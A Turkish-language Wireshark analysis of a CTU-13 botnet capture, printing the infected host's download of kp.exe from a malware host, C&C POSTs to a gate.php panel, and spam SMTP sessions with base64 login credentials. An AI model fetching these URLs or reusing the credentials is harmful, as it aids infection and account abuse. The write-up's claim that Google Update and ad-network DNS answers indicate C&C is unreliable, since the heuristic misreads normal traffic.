

CTU-CAPTURE-BOTNET-42 Pcap Dosya Analizi

Pcap dosyasının içeriğine baktığımda paketlerin büyük bir kısmının 147.32.84.165 IP adresinden geldiğini farkettim. Bundan dolayı bu IP adresi tehlikeli olabilir düşüncesiyle çeşitli filtreler kullanarak devam edelim.

No.	Time	Source	Destination	Protocol	Length	Info
88	187.295144	147.32.84.165	239.255.255.250	SSDP	175	M-SEARCH * HTTP/1.1
89	271.402396	Cisco_db:19:c3	PcsCompu_b5:b7:19	ARP	60	Who has 147.32.84.165? Tell 147.32.84.1
90	271.402693	PcsCompu_b5:b7:19	Cisco_db:19:c3	ARP	60	147.32.84.165 is at 08:00:27:b5:b7:19
91	271.402702	PcsCompu_b5:b7:19	Cisco_db:19:c3	ARP	60	147.32.84.165 is at 08:00:27:b5:b7:19
92	282.334469	147.32.84.165	147.32.80.9	DNS	71	Standard query 0x9e4f A irc.zief.pl
93	282.334475	147.32.84.165	147.32.80.9	DNS	71	Standard query 0x9e4f A irc.zief.pl
94	282.671031	147.32.80.9	147.32.84.165	DNS	144	Standard query response 0x9e4f A irc.zief.pl A 60.190.222.139 NS dns2.zief.pl NS dns3.zief.pl NS dns4.zief.pl

```
Wireshark - Packet 1/1 - botnet-capture-20110810-nenis.pcap

  Source: PcsCompu_b5:b7:19 (08:00:27:b5:b7:19)
  Type: IPv4 (0x0800)
  Internet Protocol Version 4, Src: 147.32.84.165, Dst: 60.190.223.75
  Transmission Control Protocol, Src Port: 1041, Dst Port: 2012, Seq: 1, Ack: 1, Len: 101
  Hypertext Transfer Protocol
    GET /p/out/kp.exe HTTP/1.0\r\n
    User-Agent: Download\r\n
    Host: shabi.coolnuff.com:2012\r\n
    Pragma: no-cache\r\n
    \r\n
    [Full request URI: http://shabi.coolnuff.com:2012/p/out/kp.exe]
    [HTTP request 1/1]
    [Response in frame: 251]

0000  00 1e 49 db 19 c3 08 00 27 b5 b7 19 08 00 45 00  ..I... ..E
0010  00 8d 00 50 40 00 80 06 f6 4b 93 20 54 a5 3c be  ...P@...K T<
0020  df 4b 04 11 07 dc 3b 2f 54 36 00 0b d0 06 50 18  .K...;/ T6...P
0030  fa f0 aa 9b 00 00 47 45 54 20 2f 70 2f 6f 75 74  ....GE T /p/out
0040  2f 6b 70 2e 65 78 65 20 48 54 54 50 2f 31 2e 30  /kp.exe HTTP/1.0
0050  0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 44 6f  .User-A gent: Do
0060  77 6e 6c 6f 61 64 0d 0a 48 6f 73 74 3a 20 73 68  wnload.. Host: sh
0070  61 62 69 2e 63 6f 6f 6c 6e 75 66 66 2e 63 6f 6d  abi.cool nuff.com
0080  3a 32 30 31 32 0d 0a 50 72 61 67 6d 61 3a 20 6e  :2012..P ragma: n
0090  6f 2d 63 61 63 68 65 0d 0a 0d 0a                o-cache...
```

Tehlikeli olarak belirlediğim IP adresi yukarıda belirttiğim domain adresine GET isteğinde bulunarak bir exe dosyası çekmek istemiş. Bu URI'yi VirusTotal'de tarattığımda zararlı olduğunu gördüm.



5 engines detected this URL

URL <http://shabi.coolnuff.com:2012/p/out/kp.exe>
Host shabi.coolnuff.com
Last analysis 2018-08-03 09:37:52 UTC

5 / 67

Detection	Details	Community 1
Avira	Malware	Forcepoint ThreatSeeker Malicious
Fortinet	Malware	SCUMWARE.org Malware
Sophos AV	Malicious	ADMINUSLabs Clean

Burada aklıma gelen bir başka çıkarım, istek yapılan sitelerin reklam,pop-up tarzında çıkabileceği oldu. Bunun sebebini ise tam olarak emin olamamamda istek yapılan sitelerden exe dışında GIF,JPEG gibi bağlantıların isteklerde olduğunu gördüğümünden dolayı böyle bir tahmin yapabildim.

Dikkatimi çeken bir diğer durum ise http paketlerini incelediğimde sürekli olarak bir takım paketlerden sonra bot makinadan bir adrese POST isteği gönderdiğini farkettim. Bunun C&C ile olan iletişimi için kullanılabilir olduğunu düşünüyorum.

```
HyperText Transfer Protocol
  POST /snapbn/gate.php HTTP/1.0\r\n
    [Expert Info (Chat/Sequence): POST /snapbn/gate.php HTTP/1.0\r\n]
    [POST /snapbn/gate.php HTTP/1.0\r\n]
    [Severity level: Chat]
    [Group: Sequence]
    Request Method: POST
    Request URI: /snapbn/gate.php
    Request Version: HTTP/1.0
    Host: finalcortex.com\r\n
    Keep-Alive: 300\r\n
    Connection: keep-alive\r\n
    Content-Type: application/x-www-form-urlencoded\r\n
    Content-Length: 62\r\n
    \r\n
    [Full request URI: http://finalcortex.com/snapbn/gate.php]
```

```
POST /snapbn/gate.php HTTP/1.0
Host: finalcortex.com
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
```

```
id=SARUMAN_610d402662842e9f&version=1337&os=2600&s5=6906&done=HTTP/1.1 200 OK
```

```
Date: Wed, 10 Aug 2011 09:23:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.1.6
Content-Length: 3
Connection: close
Content-Type: text/plain; charset=UTF-8
```

120

Bu yorumu yaptıktan sonra otomatik olarak söyleyebileceğim tahmin ise başta belirleyemediğim C&C ile iletişimin IRC ile değil HTTP ile yapılıyor olabileceği oldu.

Botnet karakteristiklerini araştırdığımda spam mail amacıyla kullanıldıklarını görünce birde SMTP filtresi uygulamak istedim. Bot makinanın farklı mail adreslerine mail gönderdiğini tespit ettim.

5037	805.203955	147.32.84.165	64.12.168.40	SMTP	66 C: AUTH LOGIN
5039	805.321058	64.12.168.40	147.32.84.165	SMTP	72 S: 334 VXNlcm5hbWU6
5044	805.389433	147.32.84.165	64.12.168.40	SMTP	76 C: User: c2FyYSt5YXR0aGV3czY=
5046	805.507433	64.12.168.40	147.32.84.165	SMTP	72 S: 334 UGFzc3dvcmQ6
5051	805.576806	147.32.84.165	64.12.168.40	SMTP	68 C: Pass: dHl4dXFlbm==
5056	805.720770	64.12.168.40	147.32.84.165	SMTP	91 S: 235 2.7.0 Authentication successful
5061	805.764189	147.32.84.165	64.12.168.40	SMTP	91 C: MAIL FROM: <sara.matthews@aol.com>
5065	805.894095	64.12.168.40	147.32.84.165	SMTP	68 S: 250 2.1.0 Ok
5069	805.951011	147.32.84.165	64.12.168.40	SMTP	91 C: RCPT TO: <kristenlavigne@yahoo.com>
5072	806.076166	64.12.168.40	147.32.84.165	SMTP	68 S: 250 2.1.5 Ok
5079	806.138545	147.32.84.165	64.12.168.40	SMTP	60 C: DATA
5085	806.256412	64.12.168.40	147.32.84.165	SMTP	91 S: 354 End data with <CR><LF>.<CR><LF>
5090	806.326517	147.32.84.165	64.12.168.40	SMTP	1044 C: DATA fragment, 990 bytes
5096	806.484516	147.32.84.165	64.12.168.40	SMTP I..	60 From: "Toka Chilcutt" <sara.matthews@aol.com>, subject: RE:YouNedMedsAndThePrescriptionsAreAvailable , (te...
5102	806.746176	64.12.168.40	147.32.84.165	SMTP	92 S: 250 2.0.0 Ok: queued as E7085E900081
5351	836.745044	64.12.168.40	147.32.84.165	SMTP	118 S: 421 4.4.2 mtaout-ma04.r1000.mx.aol.com Error: timeout exceeded
6156	944.185173	205.188.186.137	147.32.84.165	SMTP	476 S: 220-mtaout-da01.r1000.mx.aol.com ESMTP MUA/Third Party Client Interface 220-AOL and its affiliated com...
6161	944.276431	147.32.84.165	205.188.186.137	SMTP	76 C: EHLO martin.hudson11
6164	944.394912	205.188.186.137	147.32.84.165	SMTP	263 S: 250-mtaout-da01.r1000.mx.aol.com 250-PIPELINING 250-SIZE 36700160 250-ETRN 250-STARTTLS 250-AU...

Yukarıdaki örnek bir spam maili. @aol.com uzantısından farklı mail adreslerine spam mail gönderiliyor.

2763..	15385.453755	147.32.84.165	64.12.175.136	SMTP	66 C: AUTH LOGIN
2763..	15385.571829	64.12.175.136	147.32.84.165	SMTP	72 S: 334 VXNlcm5hbWU6
2763..	15385.650199	147.32.84.165	64.12.175.136	SMTP	76 C: User: cnlnbNhbGf6YIXIw==
2763..	15385.768032	147.32.175.136	147.32.84.165	SMTP	72 S: 334 UGFzc3dvcmQ6
2763..	15385.857005	147.32.84.165	64.12.175.136	SMTP	72 C: Pass: aHVub2hlc3UyYw==
2763..	15386.502445	147.32.175.136	147.32.84.165	SMTP	91 S: 235 2.7.0 Authentication successful
2763..	15386.547635	147.32.84.165	64.12.175.136	SMTP	90 C: MAIL FROM: <ryansalazar17@aol.com>
2763..	15386.694031	147.32.175.136	147.32.84.165	SMTP	68 S: 250 2.1.0 Ok
2763..	15386.731205	147.32.84.165	64.12.175.136	SMTP	92 C: RCPT TO: <lynnrobin24@sbcglobal.net>
2763..	15386.854229	147.32.175.136	147.32.84.165	SMTP	68 S: 250 2.1.5 Ok
2764..	15386.921295	147.32.84.165	64.12.175.136	SMTP	82 C: RCPT TO: <bear315@msn.com>
2764..	15387.043548	64.12.175.136	147.32.84.165	SMTP	68 S: 250 2.1.5 Ok
2764..	15387.076790	147.32.84.165	64.12.175.136	SMTP	87 C: RCPT TO: <clanie60416@yahoo.com>
2764..	15387.197004	64.12.175.136	147.32.84.165	SMTP	68 S: 250 2.1.5 Ok
2764..	15387.262381	147.32.84.165	64.12.175.136	SMTP	60 C: DATA
2764..	15387.380170	64.12.175.136	147.32.84.165	SMTP	91 S: 354 End data with <CR><LF>.<CR><LF>
2764..	15387.449332	147.32.84.165	64.12.175.136	SMTP	1078 C: DATA fragment, 1024 bytes
2764..	15387.606500	147.32.84.165	64.12.175.136	SMTP I..	81 From: "Claudine munk" <ryansalazar17@aol.com>, subject: WhatIDottorJamesThinksPAboutBPotency? , (text/
2764..	15387.891295	147.32.175.136	147.32.84.165	SMTP	92 S: 250 2.0.0 Ok: queued as C6C35C000000
2767..	15406.154367	98.136.185.95	147.32.84.165	SMTP	92 S: 220 smtp204.mail.gql.yahoo.com ESMTP
2767..	15406.307259	147.32.84.165	98.136.185.95	SMTP	80 C: EHLO melania.collierclpq
2767..	15406.483779	98.136.185.95	147.32.84.165	SMTP	148 S: 250-smtp204.mail.gql.yahoo.com 250-AUTH LOGIN PLAIN XMYCOOKIE 250-PIPELINING 250 8BITMIME

Botnet'in diğer bir karakteristiği olan servis dışı bırakma saldırısını incelemek için uyguladığım

filtre " tcp.flags.syn == 1 and tcp.flags.ack == 0"(yaklaşık 65 bin paket yakalandı, toplam paketlerin %20'sini oluşturuyor.)

! Anormal Trafik

tcp.flags.syn == 1 and tcp.flags.ack == 0							
No.	Time	Source	Destination	Protocol	Length	Info	
40	166.207297	147.32.84.165	74.125.232.195	TCP	62	1027 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
41	166.207308	147.32.84.165	74.125.232.195	TCP	62	[TCP Out-Of-Order] 1027 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
95	282.672963	147.32.84.165	60.190.222.139	TCP	62	1039 → 65520 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
96	282.672972	147.32.84.165	60.190.222.139	TCP	62	[TCP Out-Of-Order] 1039 → 65520 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
118	295.602462	147.32.84.165	94.63.149.152	TCP	62	1040 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
119	295.602475	147.32.84.165	94.63.149.152	TCP	62	[TCP Out-Of-Order] 1040 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
166	297.915603	147.32.84.165	60.190.223.75	TCP	62	1041 → 2012 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
167	297.915608	147.32.84.165	60.190.223.75	TCP	62	[TCP Out-Of-Order] 1041 → 2012 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
214	299.762850	147.32.84.165	195.88.191.59	TCP	62	1042 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
215	299.762855	147.32.84.165	195.88.191.59	TCP	62	[TCP Out-Of-Order] 1042 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
262	302.034151	147.32.84.165	60.190.223.75	TCP	62	1044 → 888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
263	302.034161	147.32.84.165	60.190.223.75	TCP	62	[TCP Out-Of-Order] 1044 → 888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
269	302.670820	147.32.84.165	195.88.191.59	TCP	62	[TCP Retransmission] 1042 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
270	302.670831	147.32.84.165	195.88.191.59	TCP	62	[TCP Retransmission] 1042 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
285	303.560884	147.32.84.165	122.224.6.164	TCP	62	1045 → 82 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
286	303.560894	147.32.84.165	122.224.6.164	TCP	62	[TCP Out-Of-Order] 1045 → 82 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
491	311.073500	147.32.84.165	147.32.84.171	TCP	62	1046 → 139 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
492	311.073508	147.32.84.165	147.32.84.171	TCP	62	[TCP Out-Of-Order] 1046 → 139 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
533	311.130140	147.32.84.165	60.190.223.75	TCP	62	1047 → 888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
534	311.130149	147.32.84.165	60.190.223.75	TCP	62	[TCP Out-Of-Order] 1047 → 888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
594	312.473229	147.32.84.165	60.190.223.75	TCP	62	1049 → 888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	
595	312.473235	147.32.84.165	60.190.223.75	TCP	62	[TCP Out-Of-Order] 1049 → 888 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1	

Packets: 323154 · Displayed: 65467 (20.3%)

Burada amacım SYN flood saldırısı kullanılarak bir saldırı yapılmış mı onu görmektir. Bu tip saldırının yapıldığından emin olmak için bir diğer kullandığım filtre "tcp.flags.syn == 1 and tcp.flags.ack == 1" (yaklaşık 2 bin paket yakalandı, toplam paketlerin %0.6'sını oluşturuyor)

!Normal Trafik

tcp.flags.syn == 1 and tcp.flags.ack == 1							
No.	Time	Source	Destination	Protocol	Length	Info	
16974	1613.523071	174.133.57.141	147.32.84.165	TCP	62	80 → 2196 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460 SACK_PERM=1	
17044	1620.964240	173.192.170.88	147.32.84.165	TCP	62	80 → 2198 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 SACK_PERM=1	
17072	1622.208494	213.246.53.125	147.32.84.165	TCP	62	5296 → 2141 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460 SACK_PERM=1	
17203	1633.043038	174.133.57.141	147.32.84.165	TCP	62	80 → 2215 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460 SACK_PERM=1	
17296	1642.921413	212.117.171.138	147.32.84.165	TCP	62	65500 → 2227 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 SACK_PERM=1	
17317	1644.453184	174.133.57.141	147.32.84.165	TCP	62	80 → 2231 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460 SACK_PERM=1	
17322	1644.584157	61.177.120.254	147.32.84.165	TCP	62	6667 → 2232 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 SACK_PERM=1	
17420	1653.288337	31.192.109.167	147.32.84.165	TCP	62	80 → 2235 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 SACK_PERM=1	
17506	1662.951823	212.117.171.138	147.32.84.165	TCP	62	65500 → 2238 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 SACK_PERM=1	
17509	1663.084412	174.133.57.141	147.32.84.165	TCP	62	80 → 2242 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460 SACK_PERM=1	
17516	1663.241865	205.188.186.137	147.32.84.165	TCP	62	587 → 2240 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 SACK_PERM=1	
17626	1665.287452	88.250.200.14	147.32.84.165	TCP	62	6667 → 2246 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1452 SACK_PERM=1	
17787	1684.108545	174.133.57.141	147.32.84.165	TCP	62	80 → 2260 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460 SACK_PERM=1	
17824	1686.391656	173.236.81.226	147.32.84.165	TCP	62	3817 → 2199 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460 SACK_PERM=1	
17893	1691.204580	69.175.10.98	147.32.84.165	TCP	62	4190 → 2207 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1460 SACK_PERM=1	
17994	1701.480091	173.192.170.88	147.32.84.165	TCP	62	80 → 2278 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460 SACK_PERM=1	
18001	1701.634887	174.133.57.141	147.32.84.165	TCP	62	80 → 2277 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460 SACK_PERM=1	
18148	1712.259225	174.133.57.141	147.32.84.165	TCP	62	80 → 2295 [SYN, ACK] Seq=0 Ack=1 Win=16384 Len=0 MSS=1460 SACK_PERM=1	
18231	1722.792721	208.73.210.29	147.32.84.165	TCP	60	80 → 2300 [SYN, ACK] Seq=0 Ack=1 Win=8192 Len=0 MSS=1452	

Packets: 323154 · Displayed: 1871 (0.6%)

ACK bayrağı set edilen paketlerin sayısı, set edilmeyen paketlerin sayısından az ise bir servis dışı bırakma saldırısı yapıldığı muhtemeldir.

36	165.764067	147.32.84.165	147.32.84.255	NBNS	110	Registration NB WORKGROUP<00>
37	166.185563	147.32.84.165	147.32.80.9	DNS	87	Standard query 0xed4c A cr-tools.clients.google.com
38	166.185575	147.32.84.165	147.32.80.9	DNS	87	Standard query 0xed4c A cr-tools.clients.google.com
39	166.206344	147.32.80.9	147.32.84.165	DNS	503	Standard query response 0xed4c A cr-tools.clients.google.com CNAME clients.l.google.com A 74.125.232.195 A
40	166.207297	147.32.84.165	74.125.232.195	TCP	62	1027 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
41	166.207308	147.32.84.165	74.125.232.195	TCP	62	[TCP Out-Of-Order] 1027 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
42	166.215343	74.125.232.195	147.32.84.165	TCP	62	80 → 1027 [SYN, ACK] Seq=0 Ack=1 Win=5720 Len=0 MSS=1430 SACK_PERM=1

Flags: 0x0180 Standard query response, No error
Questions: 1
Answer RRs: 17
Authority RRs: 4
Additional RRs: 4
Queries

İlk yakalanan paketlere baktığımda infected makinenin clients.l.google.com CNAME 'ine sahip adrese sorgu attığını gördüm. Bu sorgu sonucunda geri dönen resource records sayısı ise 17.

4	Answers
▶	cr-tools.clients.google.com: type CNAME, class IN, cname clients.l.google.com
▶	clients.l.google.com: type A, class IN, addr 74.125.232.195
▶	clients.l.google.com: type A, class IN, addr 74.125.232.196
▶	clients.l.google.com: type A, class IN, addr 74.125.232.197
▶	clients.l.google.com: type A, class IN, addr 74.125.232.198
▶	clients.l.google.com: type A, class IN, addr 74.125.232.199
▶	clients.l.google.com: type A, class IN, addr 74.125.232.200
▶	clients.l.google.com: type A, class IN, addr 74.125.232.201
▶	clients.l.google.com: type A, class IN, addr 74.125.232.202
▶	clients.l.google.com: type A, class IN, addr 74.125.232.203
▶	clients.l.google.com: type A, class IN, addr 74.125.232.204
▶	clients.l.google.com: type A, class IN, addr 74.125.232.205

Ve cevapta dönen adresler burada. Bu adreslerin fazla sayıda olması anormal bir durum olarak değerlendirilmelidir. Çünkü genellikle bu adresler bir C&C sunucusa ait olabilir. Ve bir önceki ekran görüntüsüne tekrar bakıldığında 47.125.232.195 adresine bir TCP bağlantısı isteği başlatılıyor ve iletişim kuruluyor.

Bağlantı isteği herhangi bir IDS/IPS veya firewall engeline takılmıyor ve C&C sunucusuyla 80 portundan bağlantı kuruyor. Eğer takılsaydı ICMP mesajı olarak host unreachable dönecekti ve tekrar CNAME'de belirttiğim adres için tekrar bir DNS sorgusu gönderip gelen IP listesinden bağlanmayı deneyecekti.

40	166.207297	147.32.84.165	74.125.232.195	TCP	62	1027 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
41	166.207308	147.32.84.165	74.125.232.195	TCP	62	[TCP Out-Of-Order] 1027 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1
42	166.215343	74.125.232.195	147.32.84.165	TCP	62	80 → 1027 [SYN, ACK] Seq=0 Ack=1 Win=5720 Len=0 MSS=1430 SACK_PERM=1
43	166.215590	147.32.84.165	74.125.232.195	TCP	60	1027 → 80 [ACK] Seq=1 Ack=1 Win=64350 Len=0
44	166.215600	147.32.84.165	74.125.232.195	TCP	60	[TCP Dup ACK 43#1] 1027 → 80 [ACK] Seq=1 Ack=1 Win=64350 Len=0
45	166.215891	147.32.84.165	74.125.232.195	HTTP	447	GET /service/check2?appid=78430FD4D0-B729-4F61-AA34-915264817990%7D&appversion=1.3.21.65&applan
46	166.215901	147.32.84.165	74.125.232.195	TCP	447	[TCP Retransmission] 1027 → 80 [PSH, ACK] Seq=1 Ack=1 Win=64350 Len=393

TCP bağlantısı kurulur kurulmaz HTTP üzerinden birşeyler çekmeye çalışarak ilk iletişimini yapmış.


```
GET /service/check?appid=%7B430FD4D0-B729-4F61-AA34-91526481799D
%7D&appversion=1.3.21.65&aplang=&machine=0&version=1.3.21.65&osversion=5.1&servicepack=Service%20Pack%202 HTTP/1.1
User-Agent: Google Update/1.3.21.65;winhttp
X-Last-RR: 0x0
X-Last-HTTP-Status-Code: 0
X-Retry-Count: 0
Host: cr-tools.clients.google.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache

HTTP/1.1 204 No Content
Date: Wed, 10 Aug 2011 09:04:27 GMT
Server: GSE
```

Detaylı olarak incelediğimde, iletişim kurduğu makinanın, uygulamanın versiyon, servis bilgilerini görebiliyorum.

Normal şartlarda sorgudan geri dönen RRs kaydı maksimum 4-5'tir. Bu sayıdan daha fazlası ile karşılaşılırsa tehlikeli bir durum olarak algılanır.

Bende bunun için dns.count.answers > 5 parametresi ile Wiresharkta bu filtreyi uyguladım ve muhtemel tehlikeli cevapları listeledim.

dns.count.answers > 5							Expression
No.	Time	Source	Destination	Protocol	Length	Info	
16015	1549.109545	147.32.80.9	147.32.84.165	DNS	539	Standard query response 0x6318 A pixel.quantserve.com CNAME map-pb.quantserve.com.akadns.net CNAME anycast...	
16009	1601.074803	147.32.80.9	147.32.84.165	DNS	280	Standard query response 0x5915 A adserving.cpxinteractive.com CNAME ym.adnxs.com A 68.67.185.207 A 68.67.18...	
16825	1601.216846	147.32.80.9	147.32.84.165	DNS	241	Standard query response 0x2814 A ib.adnxs.com A 68.67.179.211 A 68.67.179.212 A 68.67.185.206 A 68.67.185.2...	
16848	1602.401297	147.32.80.9	147.32.84.165	DNS	345	Standard query response 0x8714 A ad.yieldmanager.com CNAME world.ngd.ysm.yahoodns.net CNAME any-world.ngd.y...	
18480	1728.966214	147.32.80.9	147.32.84.165	DNS	241	Standard query response 0x4e2d A ib.adnxs.com A 68.67.185.218 A 68.67.179.209 A 68.67.179.211 A 68.67.179.2...	
18852	1731.908585	147.32.80.9	147.32.84.165	DNS	345	Standard query response 0x3d2f A ad.yieldmanager.com CNAME world.ngd.ysm.yahoodns.net CNAME any-world.ngd.y...	
21135	1807.932189	147.32.80.9	147.32.84.165	DNS	241	Standard query response 0xa826 A ib.adnxs.com A 68.67.185.205 A 68.67.185.206 A 68.67.185.207 A 68.67.185.2...	
24164	1898.733722	147.32.80.9	147.32.84.165	DNS	539	Standard query response 0x8135 A pixel.quantserve.com CNAME map-pb.quantserve.com.akadns.net CNAME anycast...	
25424	1939.675102	147.32.80.9	147.32.84.165	DNS	280	Standard query response 0x1335 A adserving.cpxinteractive.com CNAME ym.adnxs.com A 68.67.185.217 A 68.67.17...	
25457	1940.872323	147.32.80.9	147.32.84.165	DNS	241	Standard query response 0x1534 A ib.adnxs.com A 68.67.185.214 A 68.67.185.215 A 68.67.185.218 A 68.67.179.2...	
25504	1942.683886	147.32.80.9	147.32.84.165	DNS	345	Standard query response 0x8f34 A ad.yieldmanager.com CNAME world.ngd.ysm.yahoodns.net CNAME any-world.ngd.y...	
25781	1953.370236	147.32.80.9	147.32.84.165	DNS	372	Standard query response 0x2530 A ad.adtegrity.net CNAME ad.yieldmanager.com CNAME world.ngd.ysm.yahoodns.ne...	
28254	2037.898342	147.32.80.9	147.32.84.165	DNS	241	Standard query response 0x66ce A ib.adnxs.com A 68.67.185.217 A 68.67.179.209 A 68.67.179.212 A 68.67.185.2...	
30743	2197.702753	147.32.80.9	147.32.84.165	DNS	280	Standard query response 0x03c7 A adserving.cpxinteractive.com CNAME ym.adnxs.com A 68.67.179.213 A 68.67.18...	
30772	2199.033534	147.32.80.9	147.32.84.165	DNS	241	Standard query response 0xd2c7 A ib.adnxs.com A 68.67.179.212 A 68.67.185.205 A 68.67.185.209 A 68.67.185.2...	
30808	2200.894936	147.32.80.9	147.32.84.165	DNS	345	Standard query response 0xe8c7 A ad.yieldmanager.com CNAME world.ngd.ysm.yahoodns.net CNAME any-world.ngd.y...	
33283	2328.593696	147.32.80.9	147.32.84.165	DNS	241	Standard query response 0xdedc A ib.adnxs.com A 68.67.185.207 A 68.67.185.209 A 68.67.185.210 A 68.67.185.2...	
33327	2328.994689	147.32.80.9	147.32.84.165	DNS	345	Standard query response 0x32de A ad.yieldmanager.com CNAME world.ngd.ysm.yahoodns.net CNAME any-world.ngd.y...	

Buna ek olarak çok sayıda tehlikeli olarak nitelendirilen cevapla karşılaştığımız için, botnet muhtemelen tek bir komuta kontrol sunucusuna sahip değil, birden fazla sunucuyla bağlantısı var.

